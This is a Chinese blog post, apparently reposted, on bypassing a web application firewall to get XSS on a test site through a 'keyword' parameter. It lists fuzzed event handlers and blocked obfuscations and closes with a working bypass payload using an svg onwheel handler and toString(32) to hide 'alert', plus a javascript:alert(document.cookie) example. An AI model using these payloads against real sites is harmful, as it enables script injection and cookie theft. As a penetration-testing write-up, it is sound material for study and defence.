首页 网络安全 渗透测试 查看内容

一次bypass Xss-waf的经历

2020-8-15 15:24 |来自: 互联网 1371 0

摘要: 那原本是一个Happy的夜晚,我搞了二两小白酒,听到领导发来的消息,还TM喝酒,加班了! 接到测试网站,利用crawlergo+XRAY扫到了一个xss,这是入口点。打开网页长这个样子。 利用点在keyword参数
关键词: 靶场 分割线 闭合 白酒 转自 下方 全套 网络安全 crawlergo

那原本是一个Happy的夜晚,我搞了二两小白酒,听到领导发来的消息,还TM喝酒,加班了!

接到测试网站,利用crawlergo+XRAY扫到了一个xss,这是入口点。打开网页长这个样子。

利用点在keyword参数

我们闭合前面的<script>看看

嗯..问题不大

而当直接注入payload的时候,会被拦截

麻麻赖赖的,咋直接干它!

开始尝试绕过payload

最后发现,onerror= 会被直接拦截

onerror== 不会被拦截,而是变成onerror="="

除此之外,不论=后面是否存在数值,都会被拦截。

于是猜想,是不是onerror这个事件太常用了,

所以作为关键词的一部分被拦截了,因此我开始fuzz事件

这里贴出所有的事件,来自菜鸟教程。

onclick

oncontextmenu

ondblclick

onmousedown

onmouseenter

onmouseleave

onmousemove

onmouseover

onmouseout

onmouseup

onkeydown

onkeypress

onkeyup

onabort

onbeforeunload

onerror

onhashchange

onload

onpageshow

onpagehide

onresize

onscroll

onunload

onblur

onchange

onfocus

onfocusin onfocusout

oninput

onreset

onsearch

onselect

onsubmit

oncopy

oncut

onpaste

onafterprint

onbeforeprint

ondrag

ondragend

ondragenter

ondragleaveondragover

ondragstart

ondrop

onabort

oncanplay

oncanplaythrough

ondurati

onchangeonemptied

onended

onerror onloadeddata

onloadedmetadata

onloadstart

onpause

onplay

onplaying

onprogress

onratechange

onseeked

onseeking

onstalled

onsuspend

ontimeupdate

onvolumechange

onwaiting

animationend

animationiteration

animationstart

transitionend

onmessage

onmousewheel

ononline

onoffline

onpopstate

onshow

onstorage

ontoggle

onwheel

随后,fuzz出了一堆可触发的事件出来

最后我选择了onwhell,滚动的时候触发,但是紧跟着alert依旧不行

于是,我认为是alert(1)这个函数太过敏感,我们可以用一些别的方法来进行混淆。

于是在尝试了反引号,confirm,prompt等都不行的时候,我居然想出了console.log(1)这个方法。

没想到又出来一个拦截

真的是i了i了

最后掏出我弹药库里的一些储备

例如这些:

  self['al'%2B'ert'](1) >
parent['al'%2B'ert'](1) >
frames['al'%2B'ert'](1) >
content['al'%2B'ert'](1) >
window['al'%2B'ert'](1) >

但是也都一一被拦截下来

最后,幸运之神还是眷顾了我,让我找到了没有被waf住的包

例如:

javascript:alert(document.cookie)

在javascript接着的语句中,进行编码后依旧可以进行识别

或者利用toString的编码转换,来进行bypass

例如

最后结合top来进行二次绕过

top[11189117..toString(32)](1);

那么最后为什么还没有弹框呢?原因是src=1 和onwheel压根没啥子关系。。

我们换个<svg onwheel>会不会更好。只需滚动一下鼠标滑轮即可

</sCrIpT><svg  onwheel=top[11189117..toString(32)](1);>

搞定收工,继续喝酒去!

转自https://mp.weixin.qq.com/s/83Q7sKmITMR1Qcu-WcILVA

本文出处: https://www.toutiao.com/a6860347237013127687/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部